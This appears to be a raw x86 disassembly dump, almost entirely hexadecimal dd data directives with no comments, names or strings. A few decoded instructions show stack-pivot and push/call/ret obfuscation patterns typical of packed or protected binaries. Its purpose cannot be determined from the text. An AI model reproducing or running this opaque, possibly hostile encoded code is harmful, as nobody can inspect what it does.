dd 5A3F7F2Dh, 49BF1C93h, 4C5785E7h, 69063572h, 0E7154883h
dd 0BBE98C03h, 4B314E81h, 7CA3E411h, 204B8A4Eh, 722E5CBEh
dd 3, 0C233A1B2h, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh
dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h
dd 815A5452h, 4C2h, 4EA8300h, 5C241487h, 5E08950h, 4, 42Dh
dd 24048700h, 240C895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h
dd 57241489h, 0D9506768h, 0E7C15F73h, 0B9C78107h, 0F7410450h
dd 87EF81DFh, 89CC6310h, 8B545FF9h, 0C4812414h, 4, 8BB53h
dd 0D3010000h, 24048151h, 73220E43h, 2B81038Fh, 73220E43h
dd 24148B5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 3Ah
dd 0C1736184h, 0F07027B8h, 0FFC50305h, 3F45BCE0h, 1F6F8251h
dd 0ADEB945Eh, 8162173Ah, 0B6213F77h, 4A3DAB57h, 0C223791Fh
dd 78C6C255h, 50291679h, 88C77C42h, 951D306Eh, 0AF19D031h
dd 748B225Eh, 0C25A053Eh, 7486AE67h, 0AD49CA3Ch, 0BB45123Ah
dd 63624D59h, 0F0AAAA40h, 0E48D8D42h, 6A05F071h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 0E89BC355h, 0BDB643CEh, 89767591h, 0E926558Dh, 0C3B86605h
dd 0E0BE66D8h, 585C719h, 1C05E908h, 6A00005Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 37E3C357h, 0F0B3D3F8h, 9019589h, 85C705E9h, 5E9163Dh
dd 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A0C35646h
dd 0EB6062BCh, 1DA1B58Bh, 0B5FF05E9h, 5E9257Dh, 6E856h
dd 7F1A0000h, 3F0F2EDh, 0BE8h, 0A5B3B00h, 0DA45FE77h, 3D0D86C1h
dd 0FF5B5A58h, 0E90BC595h, 6AF805h, 1E9595FFh, 0C08B05E9h
dd 2BC90DEBh, 478D294Dh, 71A6698Ch, 0E84E6C3Bh, 10h, 5769CF5Dh
dd 30E161A2h, 0B7A9F44Fh, 230C8B3Fh, 0F5AFA8Bh, 0F88h
dd 0AE900h, 0F03B0000h, 0C7359352h, 0F253C812h, 6427C281h
dd 89600000h, 0E90B15BDh, 0C0336105h, 2B35BD31h, 34FF05E9h
dd 59FB8B10h, 27AD9501h, 0F18105E9h, 5422C60Fh, 81FFB70Fh
dd 655A5CC1h, 0C9BD0B20h, 8105E924h, 0E229E4C1h, 79BD8B27h
dd 8905E91Dh, 0B70F020Ch, 800FF9h, 83000000h, 0DE8B03E8h
dd 68A0F48h, 9000000h, 0E92A45BDh, 70F88105h, 0FFFFF9Ch
dd 0FFFFA985h, 0EDBD89FFh, 0EB05E928h, 0D01CB004h, 5AAE957h
dd 0E1210000h, 7BB79DBAh, 0C492F4Ch, 9FDAC0DDh, 2B694F6Ch
dd 3DFE300h, 314E79B7h, 0C6E30A4Bh, 5976A1E0h, 0E9063973h
dd 0C98D3B1Ch, 0D5133968h, 88C29E7Ch, 9ED8B255h, 3B793D6Bh
dd 5911AE10h, 0F2C5795h, 19BCEF29h, 8E82BFEAh, 49E69C36h
dd 6093CD91h, 0C2326E32h, 0C9065214h, 0AEEC5C16h, 91BF2183h
dd 48156083h, 6357927h, 43B916C9h, 0DD7AADE7h, 5690BDF7h
dd 0C92BF523h, 5C87C6ACh, 0EF1A593Fh, 95BCFDC1h, 690C8367h
dd 0B0DB1AF4h, 351BB882h, 0C8AECBF6h, 952D5B8Eh, 16C906ACh
dd 218AEB0Ah, 40CFCB7Fh, 50813665h, 6F20538Dh, 8320937Ah
dd 5F62h, 5A7B2800h, 0C91AEAACh, 0E17EF416h, 423FC1FBh
dd 7AEA0920h, 54832688h, 7F9D87A8h, 0C8801D19h, 0C9896C30h
dd 0EE87A616h, 0CF4413BDh, 10D40h, 0C2D30000h, 65295786h
dd 8CCFA29h, 5E6C9ACDh, 32742243h, 0BC16C91Ah, 174A946h
dd 0FF3E67A3h, 285572D4h, 49E60D4Eh, 0BFFC2963h, 0E3112E90h
dd 2B5984C2h, 0C4022B67h, 0F0A16B99h, 3549B1E4h, 5E0163F5h
dd 79164984h, 372D1C1h, 1B3863A1h, 9AC8FB35h, 4C1B99D6h
dd 3999BF8Ch, 24F32183h, 7B9F283h, 0D40CF26h, 24C7F633h
dd 0C9F33076h, 0AB48BE16h, 878Ah, 84C25000h, 2A672B59h
dd 0EB2958FBh, 0DB803AA9h, 2D3BF390h, 0FB396B0Ah, 8FCDB3D0h
dd 0FC2B3664h, 0D18D18B8h, 4EA87CEh, 19F396C9h, 5810ADDCh
dd 0D08DE889h, 5290B9F6h, 0CD97C527h, 0FF9F5130h, 0CBA540CFh
dd 1B34628Dh, 0D26AEB1Bh, 0C360C214h, 65A2h, 84C26800h
dd 6695B659h, 0A46D1FDCh, 0DCA2D26Fh, 0E216C9D2h, 5317CF6Ch
dd 6C46E914h, 0AA62FF32h, 4D7BAAE6h, 0F01E4D89h, 0ABF3821Fh
dd 7B294C9Bh, 0C7F5123Dh, 295786C2h, 0C91AB091h, 1896D216h
dd 9FDAA063h, 2D5BBD74h, 0D2002B69h, 3DA6CD0Eh, 0A1C9D5A0h
dd 0E8B8F382h, 840CF68h, 6, 8AB9F5CFh, 0A17BBFEDh, 3D073564h
dd 4E7DBAA0h, 0FF3B1520h, 3BD8A2D0h, 0BAE81B55h, 593867D6h
dd 0EB1EF47Eh, 0ED1B4684h, 0EF24C123h, 0B2E11E86h, 94045C95h
dd 0B8DE43F1h, 0B2281C31h, 5986C084h, 0F8C2F01Bh, 0D0325D9Ch
dd 6093CDB3h, 7AA5E3BDh, 2DE5824Ch, 2072D395h, 6897D313h
dd 0E35763Ah, 1C4A71B2h, 0D7C7AE4Bh, 0A7FD78C7h, 0D403406Dh
dd 0D77ADCA6h, 0F194BFFDh, 20720343h, 78158B13h, 7EB1EBD1h
dd 25528C50h, 0C48EBCE7h, 36703462h, 0D411D503h, 466977A5h
dd 88E76F2Fh, 4A7DB7EDh, 0BF824E2Dh, 749E4526h, 64000001h
dd 0B866176Fh, 16C91AF6h, 0E82682F8h, 63C58FBDh, 9A112C0h
dd 8F051C32h, 30639D61h, 74125E8Dh, 0BAE80F50h, 0BD8F3FF0h
dd 6349F08Dh, 8EC1FC29h, 7F1B88DDh, 0E70462Ah, 0B5E21CE0h
dd 4F19477Ah, 0BFFBBFEDh, 629E6290h, 0D4F70533h, 1675FDA1h
dd 0D80B455Fh, 4834DCBBh, 46204526h, 0E3ADDB0Ah, 7F1C4B87h
dd 705Eh, 186F2400h, 0C15503A6h, 4D16C919h, 47759CDDh
dd 57781B7Dh, 1AC68836h, 52C816C9h, 0C91A5C22h, 0F61D5E16h
dd 30A6FEC8h, 0A1D0DB93h, 384F6CC0h, 0BC562D8h, 16C9474Bh
dd 0B7E5104Fh, 518DB6F3h, 0C82AF422h, 0A2D3229Ah, 7FF693FCh
dd 66097BD2h, 85224D8Ch, 4434AA58h, 0C43A16C9h, 0DE094721h
dd 0A249E6B0h, 0A2C4h, 0EC2B0500h, 2CC993C1h, 0A7176FFEh
dd 1E555604h, 6BE11C32h, 0EA03323Dh, 138539BCh, 0CFF63793h
dd 9E124C32h, 200FAEF0h, 58BA3013h, 0A71B553Bh, 200FB5F9h
dd 61C33913h, 0F649B33h, 6BAA1320h, 144E1240h, 64C3B3E1h
dd 2E7D8D11h, 0F0235D47h, 0D2429AD3h, 0EA19552Fh, 0B872204Dh
dd 3E19D05Dh, 9CD69AC8h, 3B773B69h, 0DF1ADE0Ch, 2F8E7EACh
dd 1FC80946h, 0ABB4017h, 8EBD2CA8h, 715BC9F2h, 51862381h
dd 65D52D24h, 0C6C614C2h, 64851C20h, 0EC7B5D35h, 0C7F77D85h
dd 1320AC87h, 12F49107h, 6F517F9Ch, 5604A717h, 1C394884h
dd 0AA6E9C12h, 3A203D70h, 79FCD00h, 0CD19445Bh, 2E68425Dh
dd 4C295EFBh, 0CEEB1E58h, 8C3AAEE8h, 41190CCAh, 0CEFC5ED4h
dd 977894C3h, 0F51147CDh, 4377258h, 1C4B8761h, 0CF8724EEh
dd 6F9DD00Bh, 15436AABh, 37B1EF4Bh, 0F5DA5863h, 1341A30Fh
dd 0B3E1144Fh, 552043E9h, 1F56CD49h, 0FB184B85h, 96D3ADCEh
dd 3F6F3967h, 4119737Fh, 866C097Fh, 2FEB194Ch, 15h, 0AC5A7B6Fh
dd 16C91AEAh, 2DDB7EF4h, 16C91A69h, 5B62FF75h, 5B82C2EDh
dd 0FC2F692Dh, 0A0CB0ACEh, 466DAE72h, 0EB165418h, 90BBF9BDh
dd 30639E62h, 0D2013E02h, 75A4E0A4h, 95688647h, 5400006Fh
dd 8324048Fh, 56042404h, 0C681E689h, 4, 8704EE83h, 895C2434h
dd 7868240Ch, 89000024h, 0B850242Ch, 9520164h, 3C7E1025h
dd 8E0C133h, 67039F0Dh, 8ABA5244h, 4222C407h, 681DF281h
dd 0D0090595h, 1215255Ah, 742D0F4Ah, 8901518Fh, 396858C1h
dd 8900003Dh, 4812424h, 424h, 81515D00h, 0C762434h, 458F7D15h
dd 8B85008h, 1000000h, 763081E8h, 587D150Ch, 52242C8Bh
dd 0C281E289h, 4, 4C281h, 14870000h, 0C8B5C24h, 0E0895024h
dd 405h, 40500h, 4870000h, 0B8E95C24h, 0B3FFF907h, 382373DBh
dd 79B713E2h, 2C78BC76h, 0F0778DB8h, 0FFC50305h, 9C8DA6E0h
dd 178BE049h, 0F9875E5Fh, 722DBE01h, 0BC4775Bh, 736C5246h
dd 100FE057h, 4C934A16h, 0B9B16614h, 0C0DE7563h, 0DBDDA53Fh
dd 2D2D252Eh, 0D7EB636Fh, 0CA61E311h, 0A9353761h, 3086F853h
dd 0B3F2D308h, 0C561B34Fh, 8B82F008h, 78F3FA0Bh, 78B5522Eh
dd 594AA500h, 0E4545C05h, 28D71A66h, 714B0C77h, 0F5DD007Eh
dd 6AA79E01h, 85267519h, 0B3B5CD15h, 71F47457h, 45110455h
dd 4D04EB49h, 0E9080C82h, 534h, 6380A7E7h, 0F512417Dh
dd 86A3D20Fh, 153265A0h, 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch
dd 5F9E84A1h, 0F7311734h, 0F9DAA7C4h, 39620B4Bh, 5C3A9313h
dd 275588C2h, 0DDFA2563h, 5C8ABDF7h, 0E397751h, 0CF518B71h
dd 0AF4510E6h, 3D6BCD19h, 0E00E3D79h, 0DEC6AFD2h, 6E5471A4h
dd 1E7042Fh, 5E6997C2h, 0EE1C4384h, 60A18724h, 0B0270B39h
dd 75A0DFC5h, 5C0A2B58h, 16C9CC1Ah, 7F3FEDA4h, 7F16C9CCh
dd 240AA709h, 0F189B7EAh, 16C9CCD0h, 7D2E4766h, 40CF01D3h
dd 5BCDh, 88C29300h, 9CD8B255h, 8018D06Dh, 16C91A3Ch, 0D9ED7F6h
dd 40CFD743h
dd 15Dh, 5A7B2300h, 0C91AEAACh, 0DB7EF416h, 0C91A692Dh
dd 62FF7516h, 0E311407Ch, 99C2FED8h, 2FCC2E5Dh, 0B0DE0D49h
dd 507EB1ECh, 4E561F42h, 6640E312h, 5CFFD28h, 0A1DBC168h
dd 0B5F1CB6Eh, 1442E986h, 2B5984C2h, 0CEFC2B67h, 0AEF67FDEh
dd 0EB2A0470h, 98C892C0h, 16C91AD6h, 0E30062D8h, 6290C3FDh
dd 8F32619Eh, 104F78B5h, 8BEDB7E5h, 3EF6935Dh, 4A7CE6Fh
dd 40CFD54Ch, 0B764h, 4C7B2A00h, 0B193534h, 462CC9CDh
dd 0EBAFDD08h, 6A1B30AEh, 0B94C12C0h, 0DC5216C9h, 82F1902Bh
dd 0C9E4F220h, 0EA87AEEFh, 7C9DC0B5h, 0C93588CEh, 6BA61616h
dd 0DE400A38h, 0F21D5B41h, 86B1EFD5h, 5214C2E3h, 5C16C935h
dd 0CD9149E6h, 62315F92h, 39F7B4C1h, 5740CFFAh, 73h, 0DA05441Eh
dd 7411447Eh, 5984C246h, 0FA5087B6h, 6997C200h, 0EEEE9Fh
dd 2E39F18Eh, 0BDEB1654h, 298BBEF9h, 3C67A68Ch, 5580BF99h
dd 8C05D27h, 0AAD80744h, 7A4E0B91h, 106C8A2Ch, 8979A7D2h
dd 43534B2Ah, 0E52381F4h, 598BCB79h, 9D1316C9h, 1569983Bh
dd 25643494h, 0B6E48B28h, 295786C2h, 0C91AB091h, 8EE70616h
dd 0CFD7731Dh, 16D40h, 0C2330000h, 64285685h, 5C9F72Ah
dd 0AB6F9DC4h, 970F3D70h, 0F5712D48h, 70ADF77Eh, 93EB2441h
dd 6F518023h, 0C9F433A9h, 7495A818h, 67FCAAD7h, 9F1C3166h
dd 0FD37FB29h, 8DC7ADCAh, 0D0942C5Ah, 221320ACh, 0C802A2D3h
dd 58927895h, 0F62007D6h, 8BED08AFh, 325F995Dh, 0C164C6F5h
dd 6E0C1F92h, 9F3C9F5Ch, 6CE223E7h, 5BB0CE9Dh, 0B1DF4145h
dd 4B85B2EDh, 0B788B618h, 0BB435B1Ah, 2A694364h, 0D707D1FFh
dd 1320D997h, 0CF04A117h, 91C4FEA6h, 2F6D4774h, 0D8886704h
dd 0D8452614h, 164h, 8ED07E9Fh, 101320ADh, 0D2013E9Ah
dd 176F0735h, 0FD5604A7h, 291C3209h, 8F1ABE64h, 8CEE934Ch
dd 2D609A5Eh, 41B4E310h, 1EA0F42Fh, 276147E4h, 94EA05A5h
dd 8BED9B2Fh, 4123525Dh, 7234E200h, 7C1320E9h, 0DD6A5506h
dd 73AD9330h, 0C3221240h, 85B8F2B2h, 27613B68h, 0DBBC6F4h
dd 13204049h, 0E07DDF55h, 268D5F01h, 76244545h, 13205430h
dd 8AAB48BEh, 52h, 0AC5A7B50h, 16C91AEAh, 2DDB7EF4h, 16C91A69h
dd 2962FF75h, 0F82B66D2h, 0D145F396h, 1216C919h, 31CEF938h
dd 13ABD94Fh, 16C91A53h, 95C8AD4Ah, 1B557EBBh, 8EF0BAE8h
dd 0EF61B8F1h, 19089E4Ch, 0A01616C9h, 3D7C5683h, 7D1AE412h
dd 9B9Fh, 176FDF00h, 0E2446FADh, 1E88913Fh, 14431C32h
dd 0C7820433h, 32A6BF1h, 96A4F0A1h, 9D36B89h, 0E6148A6Ch
dd 12B5E822h, 30CDFC38h, 0E769A389h, 0D531111Ah, 2351B37Eh
dd 0D6FD3E18h, 0A0807F39h, 0C3121320h, 93D1ABB2h, 0CD703A68h
dd 20A05F1Fh, 4CE95F13h, 0AB82C66h, 1320A044h, 8331D44Ah
dd 1320A0C3h, 50F355CBh, 0A03D812Fh, 51C11320h, 0E784E615h
dd 3FAF0740h, 0E8FAEE9Ch, 0A8019D0h, 0ABDE18DCh, 5322997Dh
dd 9336A6FEh, 2090F3E5h, 5E01771Ch, 0ED1B4684h, 0B1DF8623h
dd 4A7176Fh, 1C5870D5h, 0E402B3DEh, 0BAE784D2h, 3E6F6A99h
dd 203102BEh, 0BB85B3E6h, 0EE02BC59h, 291C39A5h, 0C0FB81FAh
dd 2FCC26D0h, 0E5A9D74Dh, 755B78ABh, 42DA083Bh, 11B44109h
dd 0B99DCFFh, 9B819ED1h, 0F5002E61h, 0E99410C6h, 0FBA9458Ch
dd 1EC584BBh, 0CE6BCD43h, 4680ADE8h, 0B91BE513h, 4530A78Bh
dd 0D5F2255Fh, 5482B5EFh, 0A98h, 0C5FFD900h, 0FD9A6492h
dd 0C233A1CFh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh
dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h
dd 5E08950h, 4, 4B951h, 0C8290000h, 24048759h, 0E289525Ch
dd 4C281h, 0EA810000h, 4, 5C241487h, 68240489h, 3085h
dd 57243489h, 0F078DBBFh, 8BF88905h, 0C483243Ch, 4EC8304h
dd 81242489h, 42404h, 535E0000h, 8BBh, 50F30100h, 0B240481h
dd 8F0C1221h, 0B2B8103h, 5B0C1221h, 5724348Bh, 0C781E789h
dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815824h, 4, 0F901EEE9h
dd 8701B7FFh, 0DE77EA99h, 0F07D7BB8h, 0FFC50305h, 437625E0h
dd 0B426AE4Fh, 829AA7Ah, 5618EF70h, 0BEA60033h, 4E625B0Dh
dd 0A9F3994Bh, 4802662Eh, 78319A15h, 0B44A8D6Ch, 7DFA3A08h
dd 0D1A00742h, 3D34DA5Bh, 620C8B6Dh, 3F63991Fh, 32523601h
dd 466F742Dh, 0EAA2B71Bh, 0DADE2029h, 11D64F03h, 4C22E41Ah
dd 6B264354h, 0EA66442Ch, 10EB6Dh, 3 dup(0)
dd 8B000000h, 835E52C0h, 0E9164DBDh, 9750005h, 1121BD83h
dd 740005E9h, 8B535019h, 42DB8C0h, 85890000h, 5E923B9h
dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
dd 42DB853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
dd 8D0F585Bh, 3, 0E9D6B70Fh, 0Dh, 0F3FAF3CEh, 2F574C66h
dd 389E0DA1h, 6AC08B57h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 9623C350h, 86F476A1h
dd 8707AD9Ah, 12C1958Bh, 6E805E9h, 0B1000000h, 0D1DE7FB5h
dd 10E839h, 0A85A0000h, 1D106B7Fh, 3916199Dh, 32CB76AEh
dd 958BA198h, 5E9034Dh, 8D8B5E5Eh, 5E91C9Dh, 1CA1BD89h
dd 0F98305E9h, 0AD840F00h, 0F000000h, 287h, 64D78B00h
dd 2C3D8Bh, 0B70F0000h, 0FFF0BD2h, 9384h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 850523AEh, 0E948FF78h, 0Dh, 1027F571h, 9158C319h, 2EF6FD4Ah
dd 0C5858986h, 8B05E905h, 56006A3Fh, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0FA55919Dh
dd 0AF8BC0C5h, 0B70F6E42h, 6AC032D3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 751AC350h
dd 0B3FD4921h, 0D38C47Ah, 958BAAF3h, 5E9195Dh, 50414935h
dd 52006A53h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 8652D54Eh, 5D9B2DD8h, 8BD1BF0Fh, 0E90635B5h
dd 0E585C605h, 4705E90Eh, 2D498D01h, 0D96805E9h, 0E8CE2FD9h
dd 5, 5A5DCC62h, 0BE853BAh, 85000000h, 0BB096EFBh, 0FF4FC1B5h
dd 5A5AF299h, 2434815Eh, 12F951F5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 3DC35545h, 24574B30h, 0D0BF0FC1h
dd 0A6C68152h, 5E4E8C4Bh, 1EFDB5FFh, 890F05E9h, 2, 858DD3B2h
dd 5EC7A6Fh, 71958B57h, 5E05E906h, 0BD89D0FFh, 5E90EA1h
dd 2B2D8589h, 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 7C3AC0C3h, 0E4BA44F4h, 890BF046h
dd 0E9031DBDh, 0E585C605h, 5305E90Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0DDC35545h, 0FB34338Dh, 0B58BBB1Fh
dd 5E906ADh, 4E8h, 986AFC00h, 6E988h, 7C850000h, 0FA196909h
dd 0E6B56050h, 2890Fh, 0DA8B0000h, 24448B61h, 8B666004h
dd 6E9F0h, 0E7D40000h, 6B56EAFh, 89008B61h, 8B042444h
dd 958B58F3h, 5E907E5h, 1EFDB5FFh, 6A05E9h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 95B2E8C3h
dd 89CD4885h, 0FCAA0AAh, 387h, 0F7B70F00h, 7A6F858Dh, 8B6605ECh
dd 6AD0FFD7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 0F9BBC353h, 0B4EC5763h, 42A728BEh
dd 0BB666014h, 8D61E9A5h, 0EC447085h, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 29BEB81Dh, 0DDDFC758h, 13E9h, 4CA25800h, 94AE27D3h
dd 94B2E113h, 0F5DC8407h, 159A5EA4h, 26758589h, 6A05E9h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 738EE0C3h, 11E927E4h, 24000000h, 0BB1478D4h, 2D81FB16h
dd 0E5EE814Ah, 0FFDAD48h, 0FF6A206Ah, 267595FFh, 493505E9h
dd 0C7535041h, 0E9309585h, 105h, 6185C700h, 5E912h, 31000000h
dd 0E9318585h, 0B70F6005h, 25BD89FBh, 6105E910h, 1EDDBD83h
dd 0F0005E9h, 4484h, 0EEF68000h, 0ACD858Bh, 8D8905E9h
dd 5E90359h, 0A364h, 0BF0F0000h, 69858BF7h, 305E91Fh, 0E9227D95h
dd 6AE08B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0F1AEC355h, 21BD837Dh, 5E910h
dd 46C850Fh, 9D890000h, 5E91275h, 0EE585C6h, 6A5605E9h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0A535C350h, 544C3DE5h, 24A1B58Bh, 4E805E9h
dd 0DF000000h, 0BEA9C530h, 1ED129A0h, 12E850h, 0AFE00000h
dd 261C9981h, 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0CE9h
dd 70779C00h, 0FE50452Ch, 923F0868h, 448B5EDFh, 13E90424h
dd 8000000h, 160CF0B5h, 0DAA226D6h, 20CF1E58h, 0ABB7E5F7h
dd 8BBE31h, 10BE6650h, 44895AB7h, 0F580424h, 138Ch, 0EE900h
dd 51FA0000h, 7D505AD3h, 7003D762h, 0FD2DF2F8h, 0B5FFD78Bh
dd 5E91EFDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 83C35141h, 0EDAA746Bh, 0C64CC72Fh, 6F858DCAh, 8905EC7Ah
dd 0E90ECDBDh, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 7101C353h, 8F0FC99Ch
dd 6, 16EDBD89h, 816605E9h, 5088CBF2h, 13E8h, 4BC8BA00h
dd 4549594Fh, 0DB52FABh, 0A2E123EAh, 0C7EF673Bh, 895EF38Bh
dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 4A3036C3h, 0CDAB1356h, 0C68160DAh, 65EA385Ch
dd 7999D89h, 8D6105E9h, 0E927498Dh, 0DD958B05h, 5005E904h
dd 1A8A0Fh, 52500000h, 310F6160h, 0DE9h, 0EC051800h, 1AEC7D42h
dd 0A80F3CBCh, 585A56DAh, 0E8240C89h, 5, 0FDC1532Dh, 70BA667Bh
dd 46A5AC2h, 68D18B66h, 5D45F008h, 14E9h, 9D016D00h, 0BA621E55h
dd 0E2C026D4h, 0C1196ECBh, 0E195B64Bh, 2434811Ch, 5D45E008h
dd 1851BD09h, 8A0F05E9h, 7, 0FA21BE52h, 0FF5A425Ah, 0E90769B5h
dd 698D8905h, 0FF05E932h, 5E8D0h, 6F5A0000h, 142E143h
dd 0E9077D9Dh, 0B58B5A05h, 5E902C1h, 769BD8Bh, 6A05E9h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 29596FC3h, 0B3192051h, 13E8D9D6h, 89000000h, 75DF2FF5h
dd 0DB105954h, 0EC2C1FEh, 153110CFh, 0F603AF1h, 9E8D0BFh
dd 1000000h, 0EBB6C36h, 1297AA26h, 35E6159h, 85293C7Fh
dd 5E91985h, 0F8C781h, 0CA810000h, 418AB7Ah, 202447C7h
dd 83600000h, 0F07E76BDh, 840F0005h, 14Dh, 8BD38B66h, 0E930E9B5h
dd 28C78305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 7AC35141h, 2BAE147Dh, 7C7F08Bh, 64696A2Eh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h, 3AAEF52Eh
dd 6216C0DAh, 0D6816602h, 47C7A0C3h, 61746104h, 3800F00h
dd 80000000h, 858BD6D6h, 5F07E7Eh, 4789D38Bh, 79D6800Ch
dd 22D59D31h, 858B05E9h, 5F07E82h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 84C35646h, 0B90F53B3h, 8D09FC76h
dd 5E903DDh, 89084789h, 0E92EC1B5h, 28C78305h, 643FBE66h
dd 632E07C7h, 81666E6Fh, 0C7BB15EAh, 69660447h, 850F0067h
dd 2, 0B533F78Bh, 5E9191Dh, 7E7A858Bh, 89F805F0h, 6A0C47h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 7FFE51C3h, 5DB589E1h, 8905E90Dh, 0E916859Dh, 76858B05h
dd 6A05F07Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0E365C350h, 15F280D1h, 51B58Bh, 478905E9h
dd 958B5608h, 5E90E31h, 9D31585Ah, 5E92E2Dh, 10858D8Dh
dd 890F05E9h, 6, 0E05BD29h, 0E89105E9h, 0Fh, 35928DE2h
dd 0DDEE4940h, 0FA36E745h, 0BA49BE58h, 772E020Eh, 0BA66505Eh
dd 0FF91B901h, 0E92749B5h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 4CA7EA29h
dd 8C346826h, 8B662699h, 243481F2h, 26999C34h, 2B55B50Bh
dd 0B5FF05E9h, 5E90769h, 0BD38B66h, 0E926ADB5h, 0E9D0FF05h
dd 0Ah, 3825D80Eh, 0DFBAEF84h, 0B8B716h, 0E9000000h, 11h
dd 0A1198EA6h, 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 0FC00BCBh
dd 1884h, 0DE816600h, 0B5FF8F41h, 5E919BDh, 0C595FFF5h
dd 8905E90Bh, 0E931219Dh, 83C08B05h, 0E9164DBDh, 9750005h
dd 1121BD83h, 740005E9h, 8B535019h, 42DB8C0h, 85890000h
dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
dd 50177400h, 42DB853h, 85890000h, 5E905ADh, 0B5CC9D8Dh
dd 0D3FF05EBh, 7E9585Bh, 10000000h, 789A837Ah, 9533116Ah
dd 5E9009Dh, 0CE8C08Bh, 2B000000h, 3BF5FD43h, 7080F5A0h
dd 81A498BFh, 9A387BD6h, 0C08B5A45h, 13E8h, 0C24B1D00h
dd 0A5F1C40h, 8D6EF7A3h, 64023A46h, 27D09B5Ah, 0C0EFDF81h
dd 235E070Ch, 0E918C18Dh, 16C68105h, 89000069h, 0E9009985h
dd 6E4B805h, 0C0814312h, 0BCEE1338h, 1ACA8166h, 0E91E8B6Ah
dd 0Bh, 0D7466067h, 0A8565107h, 81A7860Bh, 0F622BBEBh
dd 0B9BD8958h, 8105E90Dh, 669812C3h, 6890F3Dh, 29000000h
dd 0E90FC1BDh, 54C38105h, 5330EE7Bh, 0C55D781h, 68F296Eh
dd 83FFBF0Fh, 8D8B04EEh, 5E90E45h, 0F850F48h, 0F000000h
dd 14E9C9B7h, 19000000h, 4FBFFD9Dh, 6AB6EC0Dh, 0FFFF98E9h
dd 0BEF7F3FFh, 8D3244EEh, 0F089488Dh, 57006A05h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 1B449DD6h, 0E3300524h, 8E860h, 54B80000h, 0AF433DD2h
dd 1FBE56AAh, 5E25321Ah, 2E7D8589h, 896105E9h, 0E926558Dh
dd 585C705h, 9805E908h, 0E8000062h, 8, 0F667DC8Eh, 43CD8A30h
dd 7DDBD89h, 0C75B05E9h, 0E9163D85h, 5, 7E900h, 3C690000h
dd 9F3DF62Ah, 1DB5FFDAh, 0B05E932h, 0E905E9BDh, 0C595FF05h
dd 0F05E90Bh, 6AF8B7h, 1E9595FFh, 0C08B05E9h, 8B870EEBh
dd 4A10A2B4h, 0D5F1F6B6h, 0D24E766Bh, 0C08Bh, 1A1h dup(0)
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h
dd 0F7A1F34h, 181h, 0BE9F500h, 0A000000h, 0D66C83B4h, 0A18BC2ACh
dd 6A9D1AD1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 18ACC357h, 13E9D9h, 7D1C0000h
dd 1ADB6C56h, 0CCCA28B1h, 96AE1985h, 13181606h, 9E9E5h
dd 2B5C0000h, 9FDFB996h, 6155BE4Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 6EC35646h, 8BFC603Dh, 5DF861FAh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7FC35242h
dd 85F62213h, 8244401h, 0E851006Ah, 3, 59C35920h, 4244C89h
